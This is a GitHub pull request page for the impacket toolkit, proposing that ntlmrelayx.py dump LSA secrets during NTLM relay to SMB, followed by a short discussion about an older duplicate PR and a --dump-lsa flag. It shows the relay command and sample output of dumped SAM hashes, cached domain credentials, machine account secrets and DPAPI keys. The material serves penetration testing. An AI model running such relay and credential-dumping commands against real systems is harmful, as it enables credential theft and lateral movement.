Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

feat: add support for LSA secrets extractions when performing relay to smb with ntlmrelayx.py #1873

Open
wants to merge 1 commit into
base: master
Choose a base branch
from

Conversation

hugo-syn
Copy link
Contributor

Add support for LSA secrets extractions when performing relay to smb with ntlmrelayx.py:

$ python3 ./examples/ntlmrelayx.py -t smb://13.37.13.37 -smb2support       
[...]

[*] Servers started, waiting for connections
[*] SMBD-Thread-5 (process_request_thread): Received connection from 127.0.0.1, attacking target smb://13.37.13.37
[*] Authenticating against smb://13.37.13.37 as DEV.LOCAL/ADMIN SUCCEED
[*] Service RemoteRegistry is in stopped state
[*] Starting service RemoteRegistry
[*] Target system bootKey: 0xaad3b435b51404eeaad3b435b51404ee
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:aad3b435b51404eeaad3b435b51404ee:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:aad3b435b51404eeaad3b435b51404ee:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:aad3b435b51404eeaad3b435b51404ee:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:aad3b435b51404eeaad3b435b51404ee:::
[*] Done dumping SAM hashes for host: 13.37.13.37
[*] Dumping cached domain logon information (domain/username:hash)
DEV.LOCAL/user:$DCC2$10240#user#aad3b435b51404eeaad3b435b51404ee: (2025-01-14 12:47:42+00:00)
[*] Done dumping LSA Cached hashes for host: 13.37.13.37
[*] Dumping LSA Secrets
[*] $MACHINE.ACC 
DEV\COMPUTER01$:plain_password_hex:2200390021005d0070005a[...]
DEV\COMPUTER01$:aad3b435b51404eeaad3b435b51404ee:aad3b435b51404eeaad3b435b51404ee:::
[*] DefaultPassword 
local_user:synacktiv
[*] DPAPI_SYSTEM 
dpapi_machinekey:0xaad3b435b51404eeaad3b435b51404eeaaaaaaaa
dpapi_userkey:0xaad3b435b51404eeaad3b435b51404eeaaaaaaaa
[*] NL$KM 
 0000   10 48 50 1F 4A 91 F6 6C  EC 3F FC BD FF CA 74 84   .HP.J..l.?....t.
[...]
NL$KM:aad3b435b51404eeaad3b435b51404ee[...]
[*] Done dumping LSA secrets for host: 13.37.13.37
[*] Stopping service RemoteRegistry

I can add a flag to toggle this feature on or off, but if someone is interested in dumping SAM hashes, they’d likely appreciate access to LSA secrets as well :)

@SAERXCIT
Copy link
Contributor

Hi!
Also in #1253 with the last comment from the impacket team being "we concluded it would be nice to have this functionality available through a new parameter ( like --dump-lsa ) and not as default" but inactive since then.

@hugo-syn
Copy link
Contributor Author

Oh thanks for showing me this PR @SAERXCIT, I don't know what to do, should I close this and bump the other PR ?

@SAERXCIT
Copy link
Contributor

Well, if anything this shows that this feature is actually wanted. As an external observer I'd say that the original author opened the PR 3 years ago and didn't follow up on Fortra's request for modifications 1 year ago ; on the other end you seem to be available right now to process any modification request. At least I would take into account Fortra's requirement to "have this functionality available through a new parameter ( like --dump-lsa ) and not as default", and hope your PR gets merged then.

@hugo-syn
Copy link
Contributor Author

Well I can add the --dump-lsa flag but I don't want to steal the original author's work moreover I think that the pr you linked has additional features. Tell me what's better

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

Successfully merging this pull request may close these issues.

2 participants